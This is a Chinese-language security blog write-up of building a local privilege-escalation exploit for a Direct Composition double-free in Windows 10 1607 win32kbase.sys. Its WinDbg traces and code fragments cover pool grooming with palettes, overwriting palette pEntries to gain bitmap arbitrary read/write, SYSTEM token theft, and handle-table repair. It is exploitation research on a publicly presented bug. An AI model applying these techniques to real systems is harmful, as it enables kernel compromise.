【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study 2017-10-12 13:53:51 阅读:939次 点赞(0) 收藏 来源: whereisk0shl.top
【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study 作者:k0shl
【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

0x00 前言

尝试写这个Exploit的起因是邱神 @pgboy1988 在3月份的一条微博,这是邱神和社哥在cansecwest2017上的议题《Win32k Dark Composition--Attacking the Shadow Part of Graphic Subsystem》,后来邱神在微博公开了这个议题的slide,以及议题中两个demo的PoC,当时我也正好刚开始学习内核漏洞,于是就想尝试将其中一个double free的demo写成exploit(事实证明我想的太简单了)。

后来由于自己工作以及其他在同时进行的一些flag,还有一些琐碎事情的原因,这个Exploit拖拖拉拉了半年时间,其中踩了很多坑,但这些坑非常有趣,于是有了这篇文章,我会和大家分享这个Exploit的诞生过程。

我在6月份完成了Exploit的提权部分,随后遇到了一个非常大的困难,就是对Handle Table的修补,10月份完成了整个漏洞的利用。

非常非常感谢邱神在我尝试写Exploit的过程中对我的指点,真的非常非常重要!也非常感谢我的小伙伴大米,在一些细节上的讨论碰撞,解决了一些问题,很多时候自己走不出的弯如果有大佬可以指点,或者和小伙伴交流讨论,会解决很多自己要好久才能解决的问题。

最后我还是想说,十一长假时完成这个Exploit的时候我差点从椅子上跳起来,whoami->SYSTEM那一刻我突然觉得,这个世界上怕是没有什么比system&&root更让我兴奋的事情了!


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

调试环境:

windows 10 x64 build 1607

win32kbase.sys 10.0.14393.0

Windbg 10.0.15063.468

IDA 6.8

邱神的slide和PoC: https://github.com/progmboy/cansecwest2017

我会默认阅读此文的小伙伴们已经认真看过邱神和社哥的slide,关于slide中提到的知识点我就不再赘述,欢迎师傅们交流讨论,批评指正,感谢阅读!


0x01 关于Direct Compostion和PoC

关于Direct Composition在slide里有相关描述,如果想看更详细的内容可以参考MSDN,这里我就不再赘述,我最开始复现这个double free漏洞的时候碰到了第一个问题,当时PoC无法触发这个漏洞,会返回NTSTATUS 0xC00000D,我重新跟踪了一下调用过程,发现了第一个问题的解决方法。


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

首先,在Win10 RS1之后Direct Compostion的NTAPI引用可以通过NtDCompositionProcessChannelBatchBuffer调用,通过enum DCPROCESSCOMMANDID管理。

enumDCPROCESSCOMMANDID { nCmdProcessCommandBufferIterator, nCmdCreateResource, nCmdOpenSharedResource, nCmdReleaseResource, nCmdGetAnimationTime, nCmdCapturePointer, nCmdOpenSharedResourceHandle, nCmdSetResourceCallbackId, nCmdSetResourceIntegerProperty, nCmdSetResourceFloatProperty, nCmdSetResourceHandleProperty, nCmdSetResourceBufferProperty, nCmdSetResourceReferenceProperty, nCmdSetResourceReferenceArrayProperty, nCmdSetResourceAnimationProperty, nCmdSetResourceDeletedNotificationTag, nCmdAddVisualChild, nCmdRedirectMouseToHwnd, nCmdSetVisualInputSink, nCmdRemoveVisualChild };

这个NtDCompositionChannelBatchBuffer函数在win32kbase.sys中,它的函数逻辑如下:

__int64__fastcallDirectComposition::CApplicationChannel::ProcessCommandBufferIterator(DirectComposition::CApplicationChannel*this,char*a2,unsignedinta3,__int64a4,unsigned__int32*a5) { switch(v10) { case9: v11=v6; if(v5>=0x10) { v6+=16; v5-=16; v12=DirectComposition::CApplicationChannel::SetResourceFloatProperty( v7, *((_DWORD*)v11+1), *((_DWORD*)v11+2), *((float*)v11+3)); gotoLABEL_10; } v8=-1073741811; gotoLABEL_2; case7: v42=v6; if(v5>=0xC) { v6+=12; v5-=12; v12=DirectComposition::CApplicationChannel::SetResourceCallbackId( v7, *((_DWORD*)v42+1), *((_DWORD*)v42+2)); gotoLABEL_10; } v8=-1073741811; gotoLABEL_2; case1: ..... }

关于enum DCPROCESSCOMMAND中的API调用在ProcessCommandBufferIterator是通过switch case管理的,我直接跟到关键的nCmdSetResourceBufferProperty函数。

elseif(v9==11)//ifv9==setbufferproperty { v22=v6; if(v5<0x10)//v5=0x5d { v8=-1073741811; } else { v6+=16;//pointertoresourcedata v5-=16;////size-resourceheadersize v23=*((_DWORD*)v22+3);//v23=getdatasizeinresourceheader v24=(v23+3)&0xFFFFFFFC;//v24>v5 if(v24<v23||v5<v24)//sizeoftypemust0x4c { LABEL_144: v8=-1073741811; } else { v6+=v24; ……

这里v9的值是enum的值,可与之前的enum定义做比对,当其值为0xB的时候,进入CmdSetResourceBufferProperty的case逻辑,这里比较关键的是else逻辑中的if ( v24 < v23 || v5 < v24 ),如果满足其中一个条件为1,就会返回0xC00000D,返回NTSTATUS并不会进入SetBufferProperty函数处理,因此没有触发漏洞。

而由于之前v24会与0xFFFFFFFC做与运算,因此这个值只有满足v5=v24才会令第二个值为0,因此这里v5的值,也就是PoC中sizeof(szBuf)的值二进制低4位必须为1100,这里之前PoC的sizeof(szBuf)的值为0x4d,只需要减去一个字节,令sizeof(szBuf)=0x4c,就可以不进入这个if语句。最终触发漏洞。


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

0x02 DComposition Double Free漏洞分析

下面来分析一下这个double free漏洞,问题存在于SetBufferProperty函数中,函数中会创建一个池,用来存放resource的dataBuf,在函数中会调用win32kbase!StringCbLengthW,获取dataBuf的长度,随后进行拷贝,但是如果StringCbLengthW失败,则会返回一个NTSTATUS,随后释放这个pool,但是释放后没有对池指针置NULL,最后在releaseresource的时候会检查这个databuf指针是否为0,不为0则会freepool,而由于之前没有置NULL,从而引发double free。下面来看下这个漏洞过程。

第一步我们通过CreateResource创建hResource,并且返回这个resource的句柄。

kd>g Breakpoint1hit win32kbase!NtDCompositionProcessChannelBatchBuffer: ffff87e7`8d3f30c0488bc4movrax,rsp kd>bae1win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator kd>g Breakpoint2hit win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator: ffff87e7`8d3f43c044884c2420movbyteptr[rsp+20h],r9b //***************rdx存放resource句柄 kd>rrdx rdx=ffff8785c3cb0000 kd>ddffff8785c3cb0000l1//hresource值为1 ffff8785`c3cb000000000001

第二步进入NtDCompositionProcessChannelBatchBuffer函数处理,就是第二小节中我们介绍的switch case处理,首先enum的值为0xb,进入SetBufferProperty处理。

kd>bae1win32kbase!NtDCompositionProcessChannelBatchBuffer kd>g Breakinstructionexception-code80000003(firstchance) 0033:00007ff7`ebc91480ccint3 kd>g Breakpoint0hit win32kbase!NtDCompositionProcessChannelBatchBuffer: ffff87e7`8d3f30c0488bc4movrax,rsp kd>bae1win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator kd>g Breakpoint1hit win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator: ffff87e7`8d3f43c044884c2420movbyteptr[rsp+20h],r9b kd>rrdx rdx=ffff8785c4170000 //****************enum的值为0xb,代表setbufferpropertyAPI kd>ddffff8785c4170000l1 ffff8785`c41700000000000b

这里我们通过第二小节中的分析,修改了正确的szbuf大小,因此可以顺利进入SetBufferProperty函数中。

kd>p win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x217: ffff87e7`8d3f45d7498bcamovrcx,r10 //*************跳转到SetBufferProperty kd>p win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x21a: ffff87e7`8d3f45daff1568270d00callqwordptr[win32kbase!_guard_dispatch_icall_fptr(ffff87e7`8d4c6d48)] kd>t win32kbase!guard_dispatch_icall_nop: ffff87e7`8d4179f0ffe0jmprax kd>p win32kbase!DirectComposition::CExpressionMarshaler::SetBufferProperty: ffff87e7`8d3f37c04c8bdcmovr11,rsp

第三步,进入SetBufferProperty,首先会分配一个池空间用于准备存放hresource的databuf,返回指向这个池的指针A。

kd>p win32kbase!??::FNODOBFM::`string'+0x1d70d: ffff87e7`8d43d4cde89e39fbffcallwin32kbase!Win32AllocPoolWithQuota(ffff87e7`8d3f0e70) //***********分配池空间大小0x4c,正好是databuf的大小 kd>rrcx rcx=000000000000004c kd>p win32kbase!??::FNODOBFM::`string'+0x1d712: ffff87e7`8d43d4d248894758movqwordptr[rdi+58h],rax //*************rax存放的是指向池空间的指针A kd>rrax rax=ffff8785c01463f0 kd>!poolffff8785c01463f0 ffff8785c0146000size:3b0previoussize:0(Allocated)Gfnt ffff8785c01463b0size:30previoussize:3b0(Free)Free //*************当前池处于Allocated状态 *ffff8785c01463e0size:60previoussize:30(Allocated)*DCdnProcess:eba5d6c42906b9b2Owningcomponent:Unknown(updatepooltag.txt) ffff8785c0146440size:60previoussize:60(Allocated)CSMr

第四步,在向池空间拷贝databuf前,会先调用win32kbase!StringCbLengthW获得databuf的大小,但是如果StringCbLengthW返回错误,则会释放掉这个池空间。

//*************调用StringCbLengthW函数 kd>p win32kbase!??::FNODOBFM::`string'+0x1d726: ffff87e7`8d43d4e6e849b30300callwin32kbase!StringCbLengthW(ffff87e7`8d478834) kd>p win32kbase!??::FNODOBFM::`string'+0x1d72b: ffff87e7`8d43d4eb85c0testeax,eax //**********函数失败返回NTSTATUS kd>reax eax=80070057 kd>p win32kbase!??::FNODOBFM::`string'+0x1d72d: ffff87e7`8d43d4ed782cjswin32kbase!??::FNODOBFM::`string'+0x1d75b(ffff87e7`8d43d51b) kd>p win32kbase!??::FNODOBFM::`string'+0x1d75b: ffff87e7`8d43d51b488b4f58movrcx,qwordptr[rdi+58h] kd>p win32kbase!??::FNODOBFM::`string'+0x1d75f: ffff87e7`8d43d51fbb0d0000c0movebx,0C000000Dh //********失败后调用FreePool kd>p win32kbase!??::FNODOBFM::`string'+0x1d764: ffff87e7`8d43d524e8272af9ffcallwin32kbase!Win32FreePool(ffff87e7`8d3cff50) kd>p win32kbase!??::FNODOBFM::`string'+0x1d769: ffff87e7`8d43d52990nop kd>!poolffff8785c01463f0 Poolpageffff8785c01463f0regionisUnknown ffff8785c0146000size:3b0previoussize:0(Allocated)Gfnt ffff8785c01463b0size:30previoussize:3b0(Free)Free //*********可以看到申请的池现在是Free状态 *ffff8785c01463e0size:60previoussize:30(Free)*DCdnProcess:145a77c888d83932 Owningcomponent:Unknown(updatepooltag.txt) ffff8785c0146440size:60previoussize:60(Allocated)CSMr

但是释放后,没有对指针进行置NULL,导致调用ReleaseResource时,会再次释放这个池空间,最后导致double free的发生。

//*********调用ReleaseResource函数后会调用CBaseExpressionMarsharler kd>g Breakpoint3hit win32kbase!DirectComposition::CBaseExpressionMarshaler::~CBaseExpressionMarshaler: ffff87e7`8d3f2d404053pushrbx kd>kb RetAddr:ArgstoChild:CallSite ffff87e7`8d3f3b74:00000000`0000000000000000`0000000000000000`0000000000000000`00000000:win32kbase!DirectComposition::CBaseExpressionMarshaler::~CBaseExpressionMarshaler ffff87e7`8d3f3d7a:ffff8785`c1b9497000000000`0000000000000000`0000000000000000`00000297:win32kbase!DirectComposition::CExpressionMarshaler::`scalardeletingdestructor'+0x14 00000000`00000000:00000000`0000000000000000`0000000000000000`0000000000000000`00000000:win32kbase!DirectComposition::CApplicationChannel::ReleaseResource+0x1ea kd>p win32kbase!??::FNODOBFM::`string'+0x1d688: ffff87e7`8d43d448e8032bf9ffcallwin32kbase!Win32FreePool(ffff87e7`8d3cff50) //**********释放这个已Free的指针 kd>rrcx rcx=ffff8785c01463f0 kd>!poolffff8785c01463f0 Poolpageffff8785c01463f0regionisUnknown ffff8785c0146000size:3b0previoussize:0(Allocated)Gfnt ffff8785c01463b0size:30previoussize:3b0(Free)Free //*********当前已处于释放状态 *ffff8785c01463e0size:60previoussize:30(Free)*DCdnProcess:145a77c888d83932 Owningcomponent:Unknown(updatepooltag.txt) ffff8785c0146440size:60previoussize:60(Allocated)CSMr //***********最终引发bugcheck,doublefree BAD_POOL_CALLER(c2) Thecurrentthreadismakingabadpoolrequest.TypicallythisisatabadIRQLlevelordoublefreeingthesameallocation,etc. Arguments: Arg1:0000000000000007,Attempttofreepoolwhichwasalreadyfreed

关于为什么StringCbLengthW函数会失败,在后面利用的过程中我会提到,因为想利用这个漏洞,我们需要它后 面返回成功,实现szbuf对内核空间的数据拷贝。


0x03 GDI Data Attack!--从Double Free到write what where

其实我六月份开始写这个漏洞的时候关于GDI attack的方法我没有找到paper,导致用palette的时候逆向了很多函数,最后写了这个exp,后来有了几篇关于GDI的paper,讲述的还是比较详细的,后面我会给这个paper的链接。

其实我也思考了关于bitmap的方法,其实理论上应该也可以的,但我在google上当时搜到了一篇文章,提到了一句关于palette的信息,当时那篇paper上说palette的kernel object结构更简单,如果用bitmap的话,如果覆盖bitmap的kernel object的其他结构的话,可能导致在其他时候会产生一些问题,在内核漏洞利用中如果产生crash可能直接就bsod了...

在这个double free中完全可以只用palette来完成攻击,因为之前做bitmap比较多,对bitmap比较熟悉,因此在我的exploit中,palette只起到一个过渡作用,最终还是通过bitmap来完成任意地址读写。

关于这个double free的利用思路是,首先在第一次free的时候会产生一个hole,然后我们用palette占用这个hole,然后第二次free的时候实际上释放的是这个palette,然而因为不是通过deleteobject释放palette,这个palette的handle并没有被消除,这样我们可以通过第三次用可控的kernel object填充,从而控制palette的内核对象空间,而我们还可以对palette的句柄进行操作,这个过程完成double free -> use after free -> write what where的过程。


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

OK,第一步我们需要创造一个稳定的内核空洞,比较巧的是SetBufferProperty创建的这个pool是一个session paged pool,而Accelerator的kernel object也是一个session paged pool,而GDI的palette和bitmap也是session paged pool,因此我使用了Nicolas Economous的方法来制造这个稳定的pool hole。

//step1 kd>p _dark_composition_+0x18c7: 0033:00007ff6`25ca18c74d8bc6movr8,r14 kd>p _dark_composition_+0x18ca: 0033:00007ff6`25ca18cab901000000movecx,1 kd>rr8 r8=ffff8ace81fa9310 kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool ffff8ace81fa9000isnotavalidlargepoolallocation,checkinglargesessionpool... ffff8ace81fa9260size:20previoussize:0(Allocated)Frag ffff8ace81fa9280size:10previoussize:20(Free)Free ffff8ace81fa9290size:70previoussize:10(Allocated)Uswe //*********创建Acceleratorkernelobject *ffff8ace81fa9300size:100previoussize:70(Allocated)*UsacProcess:ffffa6018eb56080 PooltagUsac:USERTAG_ACCEL,Binary:win32k!_CreateAcceleratorTable …… //step2 kd>g Breakinstructionexception-code80000003(firstchance) _dark_composition_+0x2460: 0033:00007ff6`25ca2460ccint3 kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool ffff8ace81fa9000isnotavalidlargepoolallocation,checkinglargesessionpool... ffff8ace81fa9260size:20previoussize:0(Allocated)Frag ffff8ace81fa9280size:10previoussize:20(Free)Free ffff8ace81fa9290size:70previoussize:10(Allocated)Uswe //******DeleteAccelerator制造poolhole *ffff8ace81fa9300size:100previoussize:70(Free)*Usac PooltagUsac:USERTAG_ACCEL,Binary:win32k!_CreateAcceleratorTable

我通过DeleteAccelerator释放这个Accelerator制造了一个pool hole,随后我们调用SetBufferProperty来占用这个pool hole,之后由于StringCbLengthW失败,这个pool hole又会被释放出来。

//step1 kd>p win32kbase!??::FNODOBFM::`string'+0x1d70d: ffff8aae`1923d4cde89e39fbffcallwin32kbase!Win32AllocPoolWithQuota(ffff8aae`191f0e70) kd>p win32kbase!??::FNODOBFM::`string'+0x1d712: ffff8aae`1923d4d248894758movqwordptr[rdi+58h],rax kd>rrax rax=ffff8ace81fa9310 kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool //******在SetBufferProperty中会在poolhole重新申请池空间 *ffff8ace81fa9300size:100previoussize:70(Allocated)*DCdnProcess:ffffa6018eb56080 PooltagDCdn:DCOMPOSITIONTAG_DEBUGINFO,Binary:win32kbase!DirectComposition::C //step2 kd>p win32kbase!??::FNODOBFM::`string'+0x1d726: ffff8aae`1923d4e6e849b30300callwin32kbase!StringCbLengthW(ffff8aae`19278834) kd>p win32kbase!??::FNODOBFM::`string'+0x1d72b: ffff8aae`1923d4eb85c0testeax,eax //win32kbase!StringCbLengthW函数失败返回错误NTSTATUS kd>reax eax=80070057 //step3 //************这是第一次free kd>p win32kbase!??::FNODOBFM::`string'+0x1d764: ffff8aae`1923d524e8272af9ffcallwin32kbase!Win32FreePool(ffff8aae`191cff50) kd>p win32kbase!??::FNODOBFM::`string'+0x1d769: ffff8aae`1923d52990nop kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool //**************freepoolhole *ffff8ace81fa9300size:100previoussize:70(Free)*DCdn PooltagDCdn:DCOMPOSITIONTAG_DEBUGINFO,Binary:win32kbase!DirectComposition::C

第二步,我们通过CreatePalette来申请GDI kernel address占用这个hole,关于palette的占用大小,当时我为了做这个稳定的pool fengshui,我跟了CreatePalette相关函数很长时间,做了很多尝试才发现如何控制申请的大小,不过最近有一篇paper,给出了一个“公式”,这个大小和struct LOGPALETTE结构体成员有关,这里我就不重复逆向的繁琐过程了https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html 。

HPALETTEcreatePaletteofSize(intsize){ //weallocapalettewhichwillhavethespecificsizeonthepagedsessionpool. if(size<=0x90){ printf("badsize!can'tallocatepaletteofsize<0x90!\n"); return0; } intpal_cnt=(size-0x90)/4; intpalsize=sizeof(LOGPALETTE)+(pal_cnt-1)*sizeof(PALETTEENTRY); LOGPALETTE*lPalette=(LOGPALETTE*)malloc(palsize); memset(lPalette,0x4,palsize); lPalette->palNumEntries=pal_cnt; lPalette->palVersion=0x300; returnCreatePalette(lPalette); }

我们通过CreatePalette可以申请和hrescoure->databuf相同大小空间的pool,去占用这个pool hole,以便在下一步中double free掉这个palette对象。

//createpalette创建palette占用poolhole kd>p win32u!NtGdiCreatePaletteInternal: 0033:00007ffd`13ab25f04c8bd1movr10,rcx kd>gu _dark_composition_+0x1b97: 0033:00007ff6`25ca1b97488b5d58movrbx,qwordptr[rbp+58h] kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool //**************重新覆盖palette,这个palette会在第二次free时不知情的情况下free掉 *ffff8ace81fa9300size:100previoussize:70(Allocated)*Gh08 PooltagGh08:GDITAG_HMGR_PAL_TYPE,Binary:win32k.sys 随后我们通过ReleaseResource会释放这个palettekernelobject(doublefree漏洞),这样又产生了一个poolhole,而这个palette释放后,它的句柄仍然存在,我们仍然可以调用到这个句柄对palette进行操作。 //ReleaseResource会释放掉palette kd>p _dark_composition_+0x1c08: 0033:00007ff6`25ca1c0841ffd5callr13 kd>p _dark_composition_+0x1c0b: 0033:00007ff6`25ca1c0b488d153e2c0100leardx,[_dark_composition_+0x14850(00007ff6`25cb4850)] kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool //*********palette在不知情的情况下被释放,doublefree变成useafterfree *ffff8ace81fa9300size:100previoussize:70(Free)*Gh08 PooltagGh08:GDITAG_HMGR_PAL_TYPE,Binary:win32k.sys

接下来,我们需要用可控的内核对象来占用这个hole,其实这种情况下,有很多内核对象可以用,但是我想到之前的SetBufferProperty就是为了将用户可定义的databuf拷贝到内核对象空间。也就是说,如果我们可以在SetBufferProperty函数创建池空间后不让它free,也就是说StringCbLengthW能够成功返回,就可以不让它free了,而且可以通过databuf来控制内核空间的值。

ffff8aae`1923d4e6e849b30300callwin32kbase!StringCbLengthW(ffff8aae`19278834) ffff8aae`1923d4eb85c0testeax,eax ffff8aae`1923d4ed782cjswin32kbase!??::FNODOBFM::`string'+0x1d75b(ffff8aae`1923d51b) //*************如果stringcblenghtw成功,则会进入拷贝逻辑 ffff8aae`1923d4ef488b5530movrdx,qwordptr[rbp+30h] ffff8aae`1923d4f34c8bc6movr8,rsi ffff8aae`1923d4f6488b4f58movrcx,qwordptr[rdi+58h] ffff8aae`1923d4fa83476002adddwordptr[rdi+60h],2 //************databuf拷贝 ffff8aae`1923d4fee8b5b20300callwin32kbase!StringCbCopyW(ffff8aae`192787b8)

那么如何让StringCbLengthW函数成功呢?首先我们要分析为什么StringCbLengthW会返回错误。在StringCbLength有这样一处逻辑。

do//v5是szBuf,v7是长度 { if(!*v5)//若v5的值是0x00,则break跳出循环 break; ++v5;//否则szBuf指针后移 --v7;//计数器减1 } while(v7);//若长度一直减到0 if(v7)//若v7不为0 v6=v3-v7;//正常返回 else//若v7为0 LABEL_16: v8=-2147024809;//返回错误NTSTATUS

这样,我们只需要修改databuf,增加一个\x00就可以不让kernel object free掉了,接下来我们需要考虑控制palette的内核空间,因为我们后面会直接用可控的szBuf对这个池空间进行覆盖,势必会覆盖到所有内容,如果palette的某些关键结构被覆盖,则会导致其他的crash的发生。

当然这里我们最主要控制的是palette->pEntries,通过覆盖它就可以通过SetPaletteEntries来对pEntries指向的空间进行写入,而如果这个pEntries指向ManagerBitmap的kernel object,我们就可以通过SetPaletteEntries修改ManageBitmap的pvScan0,令它指向WorkerBitmap的pvScan0。

由于我们要用到SetPaletteEntries,所以我直接动态调试,并跟踪了这个函数。

__int64__fastcallGreSetPaletteEntries(HPALETTEa1,unsigned__int32a2,unsigned__int32a3,conststructtagPALETTEENTRY*a4) { v4=a4; v5=a3; v6=a2; v7=0; EPALOBJ::EPALOBJ((EPALOBJ*)&v13,a1); v8=v13; if(v13) { v14=*(_QWORD*)ghsemPalette; GreAcquireSemaphore(); v7=XEPALOBJ::ulSetEntries((XEPALOBJ*)&v13,v6,v5,v4);

在跟踪的过程中,我找到了几处位置,在我通过szBuf覆盖的时候,需要注意这几处位置,不能随意修改其中的值,否则会导致SetPaletteEntries失败。

//第一处是 _QWORD*__fastcallEPALOBJ::EPALOBJ(_QWORD*a1,__int64a2) { __int64v2;//[email protected] _QWORD*v3;//[email protected] __int64v4;//[email protected] *a1=0i64; v2=a2; v3=a1; LOBYTE(a2)=8; LODWORD(v4)=HmgShareLockCheck(v2,a2);//这里会check句柄 *v3=v4; returnv3; } //第二处是 v7=XEPALOBJ::ulSetEntries((XEPALOBJ*)&v13,v6,v5,v4);//检查+0x48+0x50两个值 //第三处是+0x28位置会有一个跳转 kd>p win32kfull!GreSetPaletteEntries+0x72://checkrbx+0x28这个值是HDC,获取HDC的值,如果为0,则没有HDC,否则则有HDC,就可以绕过了,很简单,只需要申请一个hdc即可 ffff915c`473f35f2488b7b28movrdi,qwordptr[rbx+28h] kd>rrdi rdi=ffff911680003000 kd>p win32kfull!GreSetPaletteEntries+0x76: ffff915c`473f35f64885fftestrdi,rdi kd>rrdi rdi=ffff9116801cad00 kd>p win32kfull!GreSetPaletteEntries+0x79: ffff915c`473f35f97477jewin32kfull!GreSetPaletteEntries+0xf2(ffff915c`473f3672)

这样我对szBuf重新布局,当然,我们必须在szBuf中加入\x00,确保StringCbLengthW函数可以成功。

//对szBuf重新布局 CopyMemory((PUCHAR)pMappedAddress1+0x10,sfBuf,sizeof(sfBuf)); //makefakestruct CopyMemory((PUCHAR)pMappedAddress1+0x10,&hPLP,0x4); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x14,&lpFakeLenth,0x4); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x28,&hDC,0x4); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x48,&lpFakeSetEntries,sizeof(LPVOID)); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x50,&lpFakeSetEntries,sizeof(LPVOID)); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x78,&ManagerBitmap.pBitmap,sizeof(LPVOID)); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x80,&pAcceleratorTableA,sizeof(LPVOID)); CopyMemory((PUCHAR)pMappedAddress1+0x10+0x88,&lpFakeValidate,sizeof(LPVOID));

OK,当然我们\x00的位置也不要太靠后了,正常覆盖到palette的pEntries的位置就可以了,这样我们可以令StringCbLengthW函数正常返回,并且正常填充palette内核对象。

//step1 kd>p win32kbase!??::FNODOBFM::`string'+0x1d726: ffff8aae`1923d4e6e849b30300callwin32kbase!StringCbLengthW(ffff8aae`19278834) kd>p win32kbase!??::FNODOBFM::`string'+0x1d72b: ffff8aae`1923d4eb85c0testeax,eax //***********StringCbLengthW函数返回成功 kd>reax eax=0 //step2 //*********CopyDataBuf kd>p win32kbase!??::FNODOBFM::`string'+0x1d73e: ffff8aae`1923d4fee8b5b20300callwin32kbase!StringCbCopyW(ffff8aae`192787b8) kd>p win32kbase!??::FNODOBFM::`string'+0x1d743: ffff8aae`1923d50385c0testeax,eax kd>ddffff8ace81fa9310 ffff8ace`81fa93103a080b880e5fc03a8b6e2606e583bcb7 ffff8ace`81fa93203f20a031010101013042e3502d0491ed ffff8ace`81fa9330156847e58b0a18ad3f010b70a307418e ffff8ace`81fa934075242394d51c4f6033749cc64a68c5ef ffff8ace`81fa935075242394d51c4f6081fa9340ffff8ace ffff8ace`81fa936081fa9340ffff8ace33749cc64a68c5ef ffff8ace`81fa937075242394d51c4f6033749cc64a68c5ef ffff8ace`81fa938075242394d51c4f60 ffff8ace`81fa938882017000ffff8ace//pEntrieschangetoManageBitmap!!

一旦我们成功控制了pEntries,就可以通过pEntries来实现对bitmap的pvScan0的控制了,这样,我们就可以通过控制ManagerBitmap的pvScan0,让它指向WorkerBitmap的pvScan0来实现内核空间的任意地址读写。也就是GetBitmapBits/SetBitmapBits,关于Bitmap这个方法,依然可以参考Nicolas Economous的slide。最后我们直接读取System的Token,来替换当前进程的Token完成提权。

PROCESSffffb0083dead040 SessionId:noneCid:0004Peb:00000000ParentCid:0000 DirBase:001aa000ObjectTable:ffff9b0a006032c0HandleCount:<DataNotAccessible> Image:System PROCESSffffb0084103c800 SessionId:1Cid:1794Peb:6d54989000ParentCid:13d0 DirBase:22f52a000ObjectTable:ffff9b0a06c88840HandleCount:<DataNotAccessible> Image:_dark_composition_.exe //SystemToken替换了CurrentProcessToken kd>ddffffb0083dead040+358l2 ffffb008`3dead398006158a8ffff9b0a0000000000000000 kd>ddffffb0084103c800+358l2 ffffb008`4103cb58006158a8ffff9b0a0000a93a00000000

0x04 击垮隐藏Boss--Process exit的陷阱

如图,我们完成了提权,但是在进程退出的时候报错了。这是困扰我最久的问题,我经过了各种各样的尝试,多次请教了邱神相关的问题,最后终于解决了这个大Boss。


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

其实错误有很多,首先我们对palette的覆盖,导致了palette在释放的时候产生了问题,不过既然我们此时已经拥有了任意内核地址的读写能力,我们直接对palette的内核空间做fix,将databuf覆盖的部分修改过来(置NULL)就可以了。也就是clear kernel object。

PVOIDpPLPNULL=NULL; for(inti=1;i<=14;i++)//除了palettek开头4字节句柄之外,其他szBuff部分置NULL { BitmapArbitraryWrite(ManagerBitmap.hBitmap,WorkerBitmap.hBitmap,(PUCHAR)pAcceleratorTableA+0x8*i,pPLPNULL,sizeof(LPVOID)); } DeleteObject(hPLP);

之后调用DeletePalette释放掉palette的句柄,但是随后会产生一个double free的漏洞,这是由于我们最后用来控制palette内核对象的databuf的hResource和palette用的是同一个内核空间,这样如果我们先用DeletePalette释放内核空间后,该空间释放后处于一个free状态。

//***********palette前4个字节存放palette句柄 kd>ddffff8ace81fa9310l1 ffff8ace`81fa931008080b80 kd>p 0033:00007ff7`d64f20e1c3ret kd>p 0033:00007ff7`d64f2000498bccmovrcx,r12 //**********调用DeletePalette kd>p 0033:00007ff7`d64f2003ff150fc00000callqwordptr[00007ff7`d64fe018] //**********DeletePalette的对象是palette句柄,这次是真正释放palette了 kd>rrcx rcx=0000000008080b80 kd>p 0033:00007ff7`d64f20094c8bb42488020000movr14,qwordptr[rsp+288h] kd>!poolffff8ace81fa9310 Poolpageffff8ace81fa9310regionisPagedsessionpool //**********我们通过任意地址写修改kernelobject之后顺利释放palette,内核对象处于free状态 *ffff8ace81fa9300size:100previoussize:70(Free)*DCdn PooltagDCdn:DCOMPOSITIONTAG_DEBUGINFO,Binary:win32kbase!DirectComposition::C ffff8ace81fa9400size:100previoussize:100(Free)DCvi

这时候进程退出时,是会将句柄表清空,句柄表对应的内核对象的池也会free掉,之前我们DeletePalette时会将hPalette移除,同时free掉内核空间,但是free hresource的时候,由于之前已经释放掉了池,导致了double free的发生。


【技术分享】内核漏洞进击之旅——Dark Composition Exploitation Case Study

因此,我们需要对句柄表进行一个fix,我们将hresource在句柄表中移除,移除后在进程退出时,就不会再去释放hresource对应的内核空间了。接下来,我们就要在句柄表里找到resource句柄的位置。要找到hresource的位置我们首先要找到channel的位置,我们需要从EPROCESS结构一层层找进去。当然,此时我们已经拥有了任意地址读写的能力,去读取内核空间的地址中存放的值也不成问题,只需要根据偏移找到对应的值就可以了。

//step1 //******EPROCESS里有一个Win32Process结构,这实际上是一个tagProcessInfo kd>dt_EPROCESSWin32Process nt!_EPROCESS +0x3a8Win32Process:Void //step2 //**************tagPROCESSINFO里的tagTHREADINFO结构 typedefstruct_tagPROCESSINFO//55elements,0x300bytes(sizeof) { …… /*0x100*/struct_tagTHREADINFO*ptiList; …… }tagPROCESSINFO,*PtagPROCESSINFO; //step3 //**********接下来找到handletable的入口,接下来找到channel的句柄值 kd>dqffff8ace81fb5fc0+28l2 ffff8ace`81fb5fe800000000`00000015//句柄 ffff8ace`81fb5ff0ffff8ace`81f2f8b0//Channel的内核对象

在handle table中的channel中,+0x28先存放的是句柄,然后+0x30存放的是Channel的内核对象值,接下来我们进入到channel中找到resource table的存放位置,然后根据句柄*找到hresource,将其清零即可。当然,我们拥有任意地址读写的能力,只需要找到之后,将其置为NULL就可以了。

